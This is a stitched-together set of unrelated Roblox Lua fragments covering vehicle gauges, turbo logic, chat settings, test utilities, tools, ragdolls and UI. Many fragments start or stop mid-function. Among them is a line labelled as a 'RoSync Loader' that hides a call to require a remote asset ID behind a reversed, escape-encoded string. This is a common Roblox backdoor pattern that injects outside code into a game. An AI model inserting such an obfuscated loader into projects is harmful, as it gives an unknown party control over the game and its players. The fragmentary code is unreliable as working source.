values.ABSActive.Changed:connect(function()
if _Tune.ABSEnabled then
if values.ABSActive.Value and values.ABS.Value then
wait()
gauges.ABS.Visible = not gauges.ABS.Visible
elseif not values.ABS.Value then
wait()
gauges.ABS.Visible = true
else
wait()
gauges.ABS.Visible = false
end
else
gauges.ABS.Visible = false
end
end)
gauges.ABS.Changed:connect(function()
if _Tune.ABSEnabled then
if values.ABSActive.Value and values.ABS.Value then
wait()
gauges.ABS.Visible = not gauges.ABS.Visible
elseif not values.ABS.Value then
wait()
gauges.ABS.Visible = true
end
else
if gauges.ABS.Visible then
gauges.ABS.Visible = false
end
end
end)
function PBrake()
gauges.PBrake.Visible = values.PBrake.Value
end
values.PBrake.Changed:connect(PBrake)
function Gear()
if values.TransmissionMode.Value == "Auto" then
gauges.TMode.Text = "A/T"
gauges.TMode.BackgroundColor3 = Color3.new(1,170/255,0)
elseif values.TransmissionMode.Value == "Semi" then
gauges.TMode.Text = "S/T"
gauges.TMode.BackgroundColor3 = Color3.new(0, 170/255, 127/255)
else
gauges.TMode.Text = "M/T"
gauges.TMode.BackgroundColor3 = Color3.new(1,85/255,.5)
end
end
values.TransmissionMode.Changed:connect(Gear)
values.Velocity.Changed:connect(function(property)
gauges.Speedo.Needle.Rotation = 45 + 225 * math.min(1,UNITS[currentUnits].scaling*values.Velocity.Value.Magnitude/UNITS[currentUnits].maxSpeed)
gauges.Speed.Text = math.floor(UNITS[currentUnits].scaling*values.Velocity.Value.Magnitude) .. " "..UNITS[currentUnits].units
end)
gauges.Speed.MouseButton1Click:connect(function()
if currentUnits==#UNITS then
currentUnits = 1
else
currentUnits = currentUnits+1
end
for i,v in pairs(gauges.Speedo:GetChildren()) do
v.Visible=v.Name==UNITS[currentUnits].units or v.Name=="Needle" or v.Name=="lns"
end
gauges.Speed.Text = math.floor(UNITS[currentUnits].scaling*values.Velocity.Value.Magnitude) .. " "..UNITS[currentUnits].units
end)
wait(.1)
Gear()
PBrake()
|
--// All global vars will be wiped/replaced except script
|
return function(data, env)
if env then
setfenv(1, env)
end
local gui = client.UI.Prepare(script.Parent.Parent)
local frame = gui.Frame
local frame2 = frame.Frame
local msg = frame2.Message
local ttl = frame2.Title
local gIndex = data.gIndex
local gTable = data.gTable
local title = data.Title
local message = data.Message
local scroll = data.Scroll
local tim = data.Time
if not data.Message or not data.Title then gTable:Destroy() end
ttl.Text = title
msg.Text = message
local function fadeOut()
for i = 1,12 do
msg.TextTransparency = msg.TextTransparency+0.05
ttl.TextTransparency = ttl.TextTransparency+0.05
msg.TextStrokeTransparency = msg.TextStrokeTransparency+0.05
ttl.TextStrokeTransparency = ttl.TextStrokeTransparency+0.05
frame2.BackgroundTransparency = frame2.BackgroundTransparency+0.05
service.Wait("Stepped")
end
service.UnWrap(gui):Destroy()
end
gTable.CustomDestroy = function()
fadeOut()
end
spawn(function()
local sound = Instance.new("Sound",service.LocalContainer())
sound.SoundId = "rbxassetid://7152561753"
sound.Volume = 0.3
wait(0.1)
sound:Play()
wait(1)
sound:Destroy()
end)
gTable.Ready()
frame:TweenSize(UDim2.new(0, 350, 0, 150), Enum.EasingDirection.Out, Enum.EasingStyle.Quint, 0.2)
if not tim then
local _,time = message:gsub(" ","")
time = math.clamp(time/2,4,11)+1
wait(time)
else
wait(tim)
end
fadeOut()
end
|
--[[ Last synced 10/10/2022 07:20 || RoSync Loader ]]
|
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5754612086)
|
--Allows users to do /w displayName along with /w userName, only works if PlayerDisplayNamesEnabled is 'true'
|
module.WhisperByDisplayName = false
local ChangedEvent = Instance.new("BindableEvent")
local proxyTable = setmetatable({},
{
__index = function(tbl, index)
return module[index]
end,
__newindex = function(tbl, index, value)
module[index] = value
ChangedEvent:Fire(index, value)
end,
})
rawset(proxyTable, "SettingsChanged", ChangedEvent.Event)
return proxyTable
|
--RPM
--RPM = 11000 / 100000 = 0.1, RPM = 1000 / 100000 = 0.01 * 4 = 0.04
|
Values.Values.RPM.Changed:connect(function()
Throttle = Values.Values.Throttle.Value
CurrentGear = Values.Values.Gear.Value
CurrentRPM = Values.Values.RPM.Value
if Throttle == 1 then
active = true
if CPSI < PSI then
if Turbos == "Single" then
if TurboSize == "Small" then
CPSI = CPSI + (CurrentRPM / 75000) * 4
wait(0.1)
Values.Values.PSI.Value = CPSI * 8
Values.Values.APSI.Value = CPSI
end
if TurboSize == "Medium" then
CPSI = CPSI + (CurrentRPM / 100000) * 4
wait(0.1)
Values.Values.PSI.Value = CPSI * 10
Values.Values.APSI.Value = CPSI
end
if TurboSize == "Large" then
CPSI = CPSI + (CurrentRPM / 125000) * 4
wait(0.1)
Values.Values.PSI.Value = CPSI * 12
Values.Values.APSI.Value = CPSI
end
elseif Turbos == "Twin" then
if TurboSize == "Small" then
CPSI = CPSI + (CurrentRPM / 75000) * 4
wait(0.05)
Values.Values.PSI.Value = CPSI * 8
Values.Values.APSI.Value = CPSI
end
if TurboSize == "Medium" then
CPSI = CPSI + (CurrentRPM / 100000) * 4
wait(0.05)
Values.Values.PSI.Value = CPSI * 10
Values.Values.APSI.Value = CPSI
end
if TurboSize == "Large" then
CPSI = CPSI + (CurrentRPM / 125000) * 4
wait(0.05)
Values.Values.PSI.Value = CPSI * 12
Values.Values.APSI.Value = CPSI
end
end
end
if CurrentRPM > (_Tune.Redline - 500) and TwoStep == true and boom == true then
boom = false
if car.Body.Exhaust.E1.S.IsPlaying then
else
local i = math.random(1,4)
i = math.ceil(i)
while i >= 1 do
car.Body.Exhaust.E2.S:Play()
car.Body.Exhaust.E1.Afterburn.Enabled = true
car.Body.Exhaust.E2.Afterburn.Enabled = true
wait(math.random(0.2,.3))
car.Body.Exhaust.E1.Afterburn.Enabled = false
car.Body.Exhaust.E2.Afterburn.Enabled = false
i= i - 1
end
wait(0.5)
boom = true
end
end
end
if Throttle <= 0.01 and active == true and Valve == "BOV" then
active = false
CPSI = 0
if TurboSize == "Large" then
Values.Values.PSI.Value = CPSI * 12
elseif TurboSize == "Medium" then
Values.Values.PSI.Value = CPSI * 10
elseif TurboSize == "Small" then
Values.Values.PSI.Value = CPSI * 8
end
Values.Values.APSI.Value = CPSI
if BOV.IsPlaying then
else
BOV:Play()
end
end
if Throttle <= 0.01 and Valve == "Bleed" then
if CPSI > 0 then
CPSI = CPSI - 0.1
wait(0.05)
end
if TurboSize == "Large" then
Values.Values.PSI.Value = CPSI * 12
elseif TurboSize == "Medium" then
Values.Values.PSI.Value = CPSI * 10
elseif TurboSize == "Small" then
Values.Values.PSI.Value = CPSI * 8
end
Values.Values.APSI.Value = CPSI
if active == true then
if BOV.IsPlaying then
else
BOV:Play()
active = false
end
end
end
end
)
if boom == false then wait(math.random(1)) boom = true end
|
---[[ Chat Text Size Settings ]]
|
module.ChatWindowTextSize = 20
module.ChatChannelsTabTextSize = 20
module.ChatBarTextSize = 20
module.ChatWindowTextSizePhone = 14
module.ChatChannelsTabTextSizePhone = 20
module.ChatBarTextSizePhone = 18
|
--Services
|
local ReplicatedStorage: ReplicatedStorage = game:GetService("ReplicatedStorage")
|
----- Global methods -----
|
function BezierService.Create(part, duration, points)
return Bezier.new(part, duration, points)
end
return BezierService
|
--[[
Assert that the expectation value is the given type.
expect(5).to.be.a("number")
]]
|
function Expectation:a(typeName)
local result = (type(self.value) == typeName) == self.successCondition
local message = formatMessage(self.successCondition,
("Expected value of type %q, got value %q of type %s"):format(
typeName,
tostring(self.value),
type(self.value)
),
("Expected value not of type %q, got value %q of type %s"):format(
typeName,
tostring(self.value),
type(self.value)
)
)
assertLevel(result, message, 3)
self:_resetModifiers()
return self
end
|
--[[Output Scaling Factor]]
|
local hpScaling = _Tune.WeightScaling*10
local FBrakeForce = _Tune.FBrakeForce local RBrakeForce = _Tune.RBrakeForce
local PBrakeForce = _Tune.PBrakeForce
if not workspace:PGSIsEnabled() then
hpScaling = _Tune.LegacyScaling*10
FBrakeForce = _Tune.FLgcyBForce
RBrakeForce = _Tune.RLgcyBForce
PBrakeForce = _Tune.LgcyPBForce
end
|
--[=[
Gets an index by value, returning `nil` if no index is found.
@param haystack table -- To search in
@param needle Value to search for
@return The index of the value, if found
@return nil -- if not found
]=]
|
function Table.getIndex(haystack, needle)
assert(needle ~= nil, "Needle cannot be nil")
for index, item in pairs(haystack) do
if needle == item then
return index
end
end
return nil
end
|
--local INTERNAL_MATCHER_FLAG = JestMatchersObject.INTERNAL_MATCHER_FLAG
|
local getMatchers = JestMatchersObject.getMatchers
local getState = JestMatchersObject.getState
local setMatchers = JestMatchersObject.setMatchers
local setState = JestMatchersObject.setState
local matchers = require(CurrentModule.matchers)
local spyMatchers = require(CurrentModule.spyMatchers)
local toThrowMatchers = require(CurrentModule.toThrowMatchers).matchers
local Types = require(CurrentModule.types)
type AsyncExpectationResult = Types.AsyncExpectationResult
type Expect = Types.Expect_
type ExpectationResult = Types.ExpectationResult
type JestMatcherState = Types.MatcherState
type MatcherInterface<R> = Types.Matchers_<R>
type MatchersObject<T> = Types.MatchersObject<T>
type PromiseMatcherFn = Types.PromiseMatcherFn
type RawMatcherFn = Types.RawMatcherFn_
type SyncExpectationResult = Types.SyncExpectationResult
type ThrowingMatcherFn = Types.ThrowingMatcherFn
local utils = require(CurrentModule.utils)
local iterableEquality = utils.iterableEquality
local subsetEquality = utils.subsetEquality
|
-- Libraries
|
local ListenForManualWindowTrigger = require(Tool.Core:WaitForChild('ListenForManualWindowTrigger'))
local Roact = require(Vendor:WaitForChild('Roact'))
local Dropdown = require(UI:WaitForChild('Dropdown'))
local Signal = require(Libraries:WaitForChild('Signal'))
|
--!strict
--[=[
@function map
@within Array
@param array {T} -- The array to map.
@param mapper (value: T, index: number, array: {T}) -> U? -- The mapper function.
@return {U} -- The mapped array.
Maps the array using the mapper function.
```lua
local array = { 1, 2, 3 }
local new = Map(array, function(value, index)
return value * 2
end) -- { 2, 4, 6 }
```
]=]
|
local function map<T, U>(array: { T }, mapper: (value: T, index: number, array: { T }) -> U?): { U }
local mapped = {}
for index, value in ipairs(array) do
local mappedValue = mapper(value, index, array)
if mappedValue ~= nil then
table.insert(mapped, mappedValue)
end
end
return mapped
end
return map
|
--[[ if CC == 1 then
blood.CanCollide = false
elseif CC == 2 then
blood.CanCollide = true
end ]]
|
-- IF YOU WANT YOUR BLOOD TO SOMETIME BE CANCOLLIDE TRUE, THEN REMOVE THE --[[ AND ]]--
if script.Parent:FindFirstChild("Torso") ~= nil then
blood.Position = script.Parent.Torso.Position
blood.Parent = game.Workspace
end
end
human = script.Parent:findFirstChild("Humanoid")
health = human.Health
while true do
if human.Health < health then
howmuch = math.random(7,20)
health = human.Health
for i = 1 , howmuch do
MakeBlood()
end
end
wait(0.1)
end
|
--// Setting things up
|
for ind, loc in pairs({
_G = _G;
game = game;
spawn = spawn;
script = script;
getfenv = getfenv;
setfenv = setfenv;
workspace = workspace;
getmetatable = getmetatable;
setmetatable = setmetatable;
loadstring = loadstring;
coroutine = coroutine;
rawequal = rawequal;
typeof = typeof;
print = print;
math = math;
warn = warn;
error = error;
assert = assert;
pcall = pcall;
xpcall = xpcall;
select = select;
rawset = rawset;
rawget = rawget;
ipairs = ipairs;
pairs = pairs;
next = next;
Rect = Rect;
Axes = Axes;
os = os;
time = time;
Faces = Faces;
unpack = unpack;
string = string;
Color3 = Color3;
newproxy = newproxy;
tostring = tostring;
tonumber = tonumber;
Instance = Instance;
TweenInfo = TweenInfo;
BrickColor = BrickColor;
NumberRange = NumberRange;
ColorSequence = ColorSequence;
NumberSequence = NumberSequence;
ColorSequenceKeypoint = ColorSequenceKeypoint;
NumberSequenceKeypoint = NumberSequenceKeypoint;
PhysicalProperties = PhysicalProperties;
Region3int16 = Region3int16;
Vector3int16 = Vector3int16;
require = require;
table = table;
type = type;
wait = wait;
Enum = Enum;
UDim = UDim;
UDim2 = UDim2;
Vector2 = Vector2;
Vector3 = Vector3;
Region3 = Region3;
CFrame = CFrame;
Ray = Ray;
task = task;
service = service
})
do
locals[ind] = loc
end
|
-- Removes old entries in JustTouched
|
local function RemoveOldTouches()
for player, touchTime in pairs(JustTouched) do
if time() > touchTime + 0.3 then
JustTouched[player] = nil
end
end
end
|
--Stoppie tune
|
local StoppieD = 0.5
local StoppieTq = 66
local StoppieP = 5
local StoppieMultiplier = 0.5
local StoppieDivider = 1
local clock = .0667 --How fast your wheelie script refreshes
|
-- Remove the fly when it flew too far from the center.
|
local Fly = script.Parent
local Model = script.Parent.Parent
local Range = Model.Configuration.FlyRange
while true do
wait(5)
if (Fly.Position - Model.Center.CenterPart.Position).magnitude > Range.Value then
Fly.GlowScript.Disabled = true
Fly.MoveScript.Disabled = true
Fly:destroy()
break
end
end
|
-- Bookkeeping of all data:
|
local Data = {
GlobalDataStore = {};
DataStore = {};
OrderedDataStore = {};
}
|
--Rescripted by Luckymaxer
|
Tool = script.Parent
Handle = Tool:WaitForChild("Handle")
Players = game:GetService("Players")
Sounds = {
CoilSound = Handle:WaitForChild("CoilSound"),
}
Gravity = 500
JumpHeightPercentage = 0.1
ToolEquipped = false
function GetAllConnectedParts(Object)
local Parts = {}
local function GetConnectedParts(Object)
for i, v in pairs(Object:GetConnectedParts()) do
local Ignore = false
for ii, vv in pairs(Parts) do
if v == vv then
Ignore = true
end
end
if not Ignore then
table.insert(Parts, v)
GetConnectedParts(v)
end
end
end
GetConnectedParts(Object)
return Parts
end
function SetGravityEffect()
if not GravityEffect or not GravityEffect.Parent then
GravityEffect = Instance.new("BodyForce")
GravityEffect.Name = "GravityCoilEffect"
GravityEffect.Parent = Torso
end
local TotalMass = 0
local ConnectedParts = GetAllConnectedParts(Torso)
for i, v in pairs(ConnectedParts) do
if v:IsA("BasePart") then
TotalMass = (TotalMass + v:GetMass())
end
end
local TotalMass = (TotalMass * 196.20 * (1 - JumpHeightPercentage))
GravityEffect.force = Vector3.new(0, TotalMass, 0)
end
function HandleGravityEffect(Enabled)
if not CheckIfAlive() then
return
end
for i, v in pairs(Torso:GetChildren()) do
if v:IsA("BodyForce") then
v:Destroy()
end
end
for i, v in pairs({ToolUnequipped, DescendantAdded, DescendantRemoving}) do
if v then
v:disconnect()
end
end
if Enabled then
CurrentlyEquipped = true
ToolUnequipped = Tool.Unequipped:connect(function()
CurrentlyEquipped = false
end)
SetGravityEffect()
DescendantAdded = Character.DescendantAdded:connect(function()
wait()
if not CurrentlyEquipped or not CheckIfAlive() then
return
end
SetGravityEffect()
end)
DescendantRemoving = Character.DescendantRemoving:connect(function()
wait()
if not CurrentlyEquipped or not CheckIfAlive() then
return
end
SetGravityEffect()
end)
end
end
function CheckIfAlive()
return (((Character and Character.Parent and Humanoid and Humanoid.Parent and Humanoid.Health > 0 and Torso and Torso.Parent and Player and Player.Parent) and true) or false)
end
function Equipped(Mouse)
Character = Tool.Parent
Humanoid = Character:FindFirstChild("Humanoid")
Torso = Character:FindFirstChild("Torso") or Character:FindFirstChild("UpperTorso")
Player = Players:GetPlayerFromCharacter(Character)
if not CheckIfAlive() then
return
end
if HumanoidDied then
HumanoidDied:disconnect()
end
HumanoidDied = Humanoid.Died:connect(function()
if GravityEffect and GravityEffect.Parent then
GravityEffect:Destroy()
end
end)
Sounds.CoilSound:Play()
HandleGravityEffect(true)
ToolEquipped = true
end
function Unequipped()
if HumanoidDied then
HumanoidDied:disconnect()
end
HandleGravityEffect(false)
ToolEquipped = false
end
Tool.Equipped:connect(Equipped)
Tool.Unequipped:connect(Unequipped)
|
-- @outline // PUBLIC PROPERTIES
|
Camera.Position = Vector3.new(0, 0, 0)
Camera.AutoUpdate = true
Camera.Enabled = true
Camera.Rotation = Vector2.new()
|
--[[**
ensures Roblox Font type
@param value The value to check against
@returns True iff the condition is satisfied, false otherwise
**--]]
|
t.Font = t.typeof("Font")
|
--tone hz
|
elseif sv.Value==6 then
while s.Pitch<1.1 do
s.Pitch=s.Pitch+0.012
s:Play()
if s.Pitch>1.1 then
s.Pitch=1.1
end
wait(-9)
end
while true do
for x = 1, 500 do
s:play()
wait(-9)
end
wait()
end
|
-- if input.KeyCode == Enum.KeyCode.One then
-- -- print(1,c)
-- c = Start(1)
-- end
| |
--theRal
|
worker = false
part = script.Parent
function onTouch(hit)
local human = hit.Parent:FindFirstChild("Humanoid")
if (human ~= nil) and (worker == false) then
print ("Success")
worker = true
wait(.1)
local pant = hit.Parent:GetChildren()
for i=1,#pant do
if (pant[i].className == "Pants") then
pant[i].PantsTemplate = ""
end
end
local shirt = hit.Parent:GetChildren()
for i=1,#shirt do
if (shirt[i].className == "Shirt") then
shirt[i].ShirtTemplate = ""
wait(1)
worker = false
end
end
end
end
script.Parent.Touched:connect(onTouch)
|
--//////// DO NOT EDIT BELOW UNLESS YOU KNOW WHAT YOU'RE DOING \\\\\\\\\\\\\\\\\\\\\\\\\
|
local uis = game:GetService("UserInputService")
local runservice = game:GetService("RunService")
local tweenservice = game:GetService("TweenService")
local player = game.Players.LocalPlayer
local mouse = player:GetMouse()
local camera = workspace.CurrentCamera
repeat runservice.Heartbeat:Wait() until script.Parent:IsA("Model") -- yield until character
local character = player.Character
local rootpart = character:WaitForChild("HumanoidRootPart")
local humanoid = character:WaitForChild("Humanoid")
local aimoffset = script:WaitForChild("AimOffset") -- a property for other scripts to use to influence the viewmodel offset (such as a gun aim system)
local torso
local roothip
local lowertorso
local oldc0
local leftshoulder
local rightshoulder
local larm
local rarm
local armparts = {}
local rigtype = nil
local isrunning = false
local armsvisible = true -- whether the arms are visible in first person
local armtransparency = firstperson_arm_transparency
local isfirstperson = false
local sway = Vector3.new(0,0,0)
local walksway = CFrame.new(0,0,0)
local strafesway = CFrame.Angles(0,0,0)
local jumpsway = CFrame.new(0,0,0)
local jumpswaygoal = Instance.new("CFrameValue")
|
--// # key, Takedown
|
mouse.KeyDown:connect(function(key)
if key=="k" then
veh.Lightbar.middle.Beep:Play()
veh.Lightbar.Remotes.TakedownEvent:FireServer(true)
end
end)
|
-- carSeat.DLock:Play()
-- carSeat.Seatlock.Value = lock
-- carSeat.Parent.Body.GS.A.SingleMode.Value = lock
-- carSeat.Parent.Body.GS.B.SingleMode.Value = lock
-- carSeat.Parent.Body.GS.C.SingleMode.Value = lock
-- carSeat.Parent.Body.GS.D.SingleMode.Value = lock
-- carSeat.Parent.Body.GS.E.SingleMode.Value = lock
-- carSeat.Parent.Misc.L.Door.H.ClickDetector.MaxActivationDistance = dr
-- carSeat.Parent.Misc.R.Door.H.ClickDetector.MaxActivationDistance = dr
-- carSeat.Parent.Misc.L.Door.SS.Motor.DesiredAngle = 0
-- carSeat.Parent.Misc.R.Door.SS.Motor.DesiredAngle = 0
|
end
F.setdist = function(v)
carSeat.Parent.Body.MP.Sound.MaxDistance = v
if v < 75 then
carSeat.Parent.Body.MP.Sound.RollOffMode = "LinearSquare"
else
carSeat.Parent.Body.MP.Sound.RollOffMode = "Inverse"
end
end
F.volumeup = function(VolUp)
carSeat.Parent.Body.MP.Sound.Volume = carSeat.Parent.Body.MP.Sound.Volume + 1
|
--[[ Value packing extension ]]
|
--
do
local SendingCache = setmetatable({}, { __index = function(t, i) t[i] = {} return t[i] end, __mode = "k" })
local ReceivingCache = setmetatable({}, { __index = function(t, i) t[i] = {} return t[i] end, __mode = "k" })
local MaxStringLength = 64
local CacheSize = 32 -- must be under 256, keeping it low because adding a new entry goes through the entire cache
local ValidTypes = {
"number", "string", "boolean", "nil",
"Vector2", "Vector3", "CFrame",
"Color3", "BrickColor",
"UDim2", "UDim"
}
for i,v in ipairs(ValidTypes) do ValidTypes[v] = true end
local function addEntry(value, client)
local valueType = typeof(value)
if not ValidTypes[valueType] then
error(string.format("Invalid value passed to Network:Pack (values of type %s are not supported)", valueType))
end
if valueType == "boolean" or valueType == "nil" or value == "" then
return value -- already one-byte
elseif valueType == "string" and #value > MaxStringLength then
return "\0" .. value
end
local cache = SendingCache[client]
local info = cache[value]
if not info then
if #cache < CacheSize then
local index = #cache + 1
info = { char = string.char(index), value = value, last = 0 }
cache[index] = info
cache[value] = info
else
for i,other in ipairs(cache) do
if not info or other.last < info.last then
info = other
end
end
cache[info.value] = nil
cache[value] = info
info.value = value
end
if IsServer then
Network:FireClient(client, "SetPackedValue", info.char, info.value)
else
Network:FireServer("SetPackedValue", info.char, info.value)
end
end
info.last = os.clock()
return info.char
end
local function getEntry(value, client)
local valueType = typeof(value)
if valueType ~= "string" or value == "" then
return value
end
local index = string.byte(value, 1)
if index == 0 then
return string.sub(value, 2)
end
return ReceivingCache[client][index]
end
if IsServer then
function Network:Pack(value, client)
assert(typeof(client) == "Instance" and client:IsA("Player"), "client is not a player")
return addEntry(value, client)
end
function Network:Unpack(value, client)
assert(typeof(client) == "Instance" and client:IsA("Player"), "client is not a player")
return getEntry(value, client)
end
Network:BindEvents({
SetPackedValue = function(client, char, value)
if typeof(char) ~= "string" or #char ~= 1 then
return client:Kick()
end
local index = string.byte(char)
if index < 1 or index > CacheSize then
return client:Kick()
end
local valueType = typeof(value)
if not ValidTypes[valueType] or valueType == "string" and #value > MaxStringLength then
return client:Kick()
end
ReceivingCache[client][index] = value
end
})
else
function Network:Pack(value)
return addEntry(value, "Server")
end
function Network:Unpack(value)
return getEntry(value, "Server")
end
Network:BindEvents({
SetPackedValue = function(char, value)
ReceivingCache.Server[string.byte(char)] = value
end
})
end
end
|
-- Module Scripts
|
local ModuleScripts = ServerScriptService:FindFirstChild("ModuleScripts")
local RaceModules = ModuleScripts:FindFirstChild("RaceModules")
local ReplicatedModuleScripts = ReplicatedStorage:FindFirstChild("ModuleScripts")
local PlayerManager = require(RaceModules:FindFirstChild("PlayerManager"))
local GameSettings = require(RaceModules:FindFirstChild("GameSettings"))
local DisplayManager = require(RaceModules:FindFirstChild("DisplayManager"))
local LeaderboardManager = require(RaceModules:FindFirstChild("LeaderboardManager"))
local Timer = require(RaceModules:FindFirstChild("Timer"))
local RaceManager = require(ReplicatedModuleScripts:FindFirstChild("RaceManager"))
|
--Script
|
feedbackMain.CharactersLeft.Text = maxCharacters - #feedbackMain.InputBox.Input.Text
feedbackMain.InputBox.Input.Changed:Connect(function()
feedbackMain.CharactersLeft.Text = maxCharacters - #feedbackMain.InputBox.Input.Text
if maxCharacters - #feedbackMain.InputBox.Input.Text < 0 then
else
end
end)
local db = false
feedbackMain.SendButton.MouseButton1Click:Connect(function()
if not db and maxCharacters - #feedbackMain.InputBox.Input.Text >= 0 then
db = true
local msg = feedbackMain.InputBox.Input.Text
feedbackMain.InputBox.Input.Text = "Wait a moment..."
local response = game.ReplicatedStorage.FilteringFunction:InvokeServer(msg)
feedbackMain.InputBox.Input.Text = response
wait(5)
if feedbackMain.InputBox.Input.Text == response then
feedbackMain.InputBox.Input.Text = "Type here."
end
db = false
end
end)
script.Parent.Button.MouseButton1Click:Connect(function()
open = not open
if open then
feedbackMain.Visible = true
else
feedbackMain.Visible = false
end
end)
|
----Maxoso41----
|
local function CanCollide(char)
for i,v in next, char:GetChildren() do
if v:IsA("BasePart") then
v.CanCollide = true
end
if v.Name == "HumanoidRootPart" then
v.CanCollide = false
game:GetService("RunService").Heartbeat:connect(function()
if char:FindFirstChild("UpperTorso") then
v.CFrame = char:FindFirstChild("UpperTorso").CFrame
end
end)
end
end
end
local function MakeConstraints(char)
pcall(function()
local LeftFoot = char:FindFirstChild("LeftFoot")
local RightFoot = char:FindFirstChild("RightFoot")
local LeftLowerLeg = char:FindFirstChild("LeftLowerLeg")
local RightLowerLeg = char:FindFirstChild("RightLowerLeg")
local LeftUpperLeg = char:FindFirstChild("LeftUpperLeg")
local RightUpperLeg = char:FindFirstChild("RightUpperLeg")
local LowerTorso = char:FindFirstChild("LowerTorso")
local UpperTorso = char:FindFirstChild("UpperTorso")
local LeftHand = char:FindFirstChild("LeftHand")
local RightHand = char:FindFirstChild("RightHand")
local LeftLowerArm = char:FindFirstChild("LeftLowerArm")
local RightLowerArm = char:FindFirstChild("RightLowerArm")
local LeftUpperArm = char:FindFirstChild("LeftUpperArm")
local RightUpperArm = char:FindFirstChild("RightUpperArm")
local Head = char:FindFirstChild("Head")
local S1 = Instance.new("SpringConstraint",LeftFoot)
S1.Damping = 0
S1.FreeLength = 0.15
S1.Stiffness = 1500
S1.Attachment0 = LeftFoot:FindFirstChild("LeftAnkleRigAttachment")
S1.Attachment1 = LeftLowerLeg:FindFirstChild("LeftAnkleRigAttachment")
local S2 = Instance.new("SpringConstraint",RightFoot)
S2.Damping = 0
S2.FreeLength = 0.15
S2.Stiffness = 1500
S2.Attachment0 = RightFoot:FindFirstChild("RightAnkleRigAttachment")
S2.Attachment1 = RightLowerLeg:FindFirstChild("RightAnkleRigAttachment")
local H1 = Instance.new("HingeConstraint",LeftLowerLeg)
H1.Attachment0 = LeftLowerLeg:FindFirstChild("LeftKneeRigAttachment")
H1.Attachment1 = LeftUpperLeg:FindFirstChild("LeftKneeRigAttachment")
local H2 = Instance.new("HingeConstraint",RightLowerLeg)
H2.Attachment0 = RightLowerLeg:FindFirstChild("RightKneeRigAttachment")
H2.Attachment1 = RightUpperLeg:FindFirstChild("RightKneeRigAttachment")
local B1 = Instance.new("BallSocketConstraint",LeftUpperLeg)
B1.Attachment0 = LeftUpperLeg:FindFirstChild("LeftHipRigAttachment")
B1.Attachment1 = LowerTorso:FindFirstChild("LeftHipRigAttachment")
local B2 = Instance.new("BallSocketConstraint",RightUpperLeg)
B2.Attachment0 = RightUpperLeg:FindFirstChild("RightHipRigAttachment")
B2.Attachment1 = LowerTorso:FindFirstChild("RightHipRigAttachment")
local H3 = Instance.new("HingeConstraint",LowerTorso)
H3.Attachment0 = LowerTorso:FindFirstChild("WaistRigAttachment")
H3.Attachment1 = UpperTorso:FindFirstChild("WaistRigAttachment")
local B3 = Instance.new("BallSocketConstraint",LeftUpperArm)
B3.Attachment0 = LeftUpperArm:FindFirstChild("LeftShoulderRigAttachment")
B3.Attachment1 = UpperTorso:FindFirstChild("LeftShoulderRigAttachment")
local B4 = Instance.new("BallSocketConstraint",RightUpperArm)
B4.Attachment0 = RightUpperArm:FindFirstChild("RightShoulderRigAttachment")
B4.Attachment1 = UpperTorso:FindFirstChild("RightShoulderRigAttachment")
local H3 = Instance.new("HingeConstraint",LeftLowerArm)
H3.Attachment0 = LeftLowerArm:FindFirstChild("LeftElbowRigAttachment")
H3.Attachment1 = LeftUpperArm:FindFirstChild("LeftElbowRigAttachment")
local H4 = Instance.new("HingeConstraint",RightLowerArm)
H4.Attachment0 = RightLowerArm:FindFirstChild("RightElbowRigAttachment")
H4.Attachment1 = RightUpperArm:FindFirstChild("RightElbowRigAttachment")
local S3 = Instance.new("SpringConstraint",LeftHand)
S3.Damping = 0
S3.FreeLength = 0.15
S3.Stiffness = 1500
S3.Attachment0 = LeftHand:FindFirstChild("LeftWristRigAttachment")
S3.Attachment1 = LeftLowerArm:FindFirstChild("LeftWristRigAttachment")
local S4 = Instance.new("SpringConstraint",RightHand)
S4.Damping = 0
S4.FreeLength = 0.15
S4.Stiffness = 1500
S4.Attachment0 = RightHand:FindFirstChild("RightWristRigAttachment")
S4.Attachment1 = RightLowerArm:FindFirstChild("RightWristRigAttachment")
local S5 = Instance.new("SpringConstraint",Head)
S5.Damping = 10
S5.FreeLength = 0.1
S5.Stiffness = 1200
S5.Attachment0 = Head:FindFirstChild("NeckRigAttachment")
S5.Attachment1 = UpperTorso:FindFirstChild("NeckRigAttachment")
end)
end
char = script.Parent
script.Parent.Humanoid.Died:connect(function()
CanCollide(char)
MakeConstraints(char)
end)
|
--[[ @brief Proportionally modifies all numbers in an array so the sum is 1.
@example Normalize({1, 2, 3}) = {1/6, 2/6, 3/6};
@param t The array to normalize.
@return t The normalized array. This will be the same as t.
--]]
|
function module.Normalize(t)
local sum = module.Sum(t);
if sum~=0 then
for i, v in pairs(t) do
t[i] = v/sum;
end
end
return t;
end
|
--// initialize opening/closing spectate //--
|
script.Parent.Parent.SpectateButton.Spectate.MouseButton1Down:connect(function(click)
if script.Parent.GuiActive.Value == false then
script.Parent.GuiActive.Value = true
script.Parent.Parent.ChangePlayer.Visible = true
elseif script.Parent.GuiActive.Value == true then
resetGui()
end
end)
|
-- ROBLOX Comment: nil value placeholder
|
local NIL = newproxy(true)
local mt = getmetatable(NIL)
mt.__tostring = function()
return "nil"
end
return NIL
|
--[=[
@within TableUtil
@function Filter
@param tbl table
@param predicate (value: any, key: any, tbl: table) -> keep: boolean
@return table
Performs a filter operation against the given table, which can be used to
filter out unwanted values from the table.
For example:
```lua
local t = {A = 10, B = 20, C = 30}
local t2 = TableUtil.Filter(t, function(value, key)
return value > 15
end)
print(t2) --> {B = 40, C = 60}
```
]=]
|
local function Filter<T>(t: { T }, predicate: (T, any, { T }) -> boolean): { T }
assert(type(t) == "table", "First argument must be a table")
assert(type(predicate) == "function", "Second argument must be a function")
local newT = table.create(#t)
if #t > 0 then
local n = 0
for i, v in t do
if predicate(v, i, t) then
n += 1
newT[n] = v
end
end
else
for k, v in t do
if predicate(v, k, t) then
newT[k] = v
end
end
end
return newT
end
|
-- Initialize the tool
|
local CollisionTool = {
Name = 'Collision Tool';
Color = BrickColor.new 'Really black';
}
CollisionTool.ManualText = [[<font face="GothamBlack" size="16">Collision Tool 🛠</font>
Lets you change whether parts collide with one another.<font size="6"><br /></font>
<b>TIP:</b> Press <b>Enter</b> to toggle collision quickly.]]
|
--[[Transmission]]
|
Tune.TransModes = {"Semi"} --[[
[Modes]
"Auto" : Automatic shifting
"Semi" : Clutchless manual shifting, dual clutch transmission
"Manual" : Manual shifting with clutch
>Include within brackets
eg: {"Semi"} or {"Auto", "Manual"}
>First mode is default mode ]]
--Automatic Settings
Tune.AutoShiftMode = "Speed" --[[
[Modes]
"Speed" : Shifts based on wheel speed
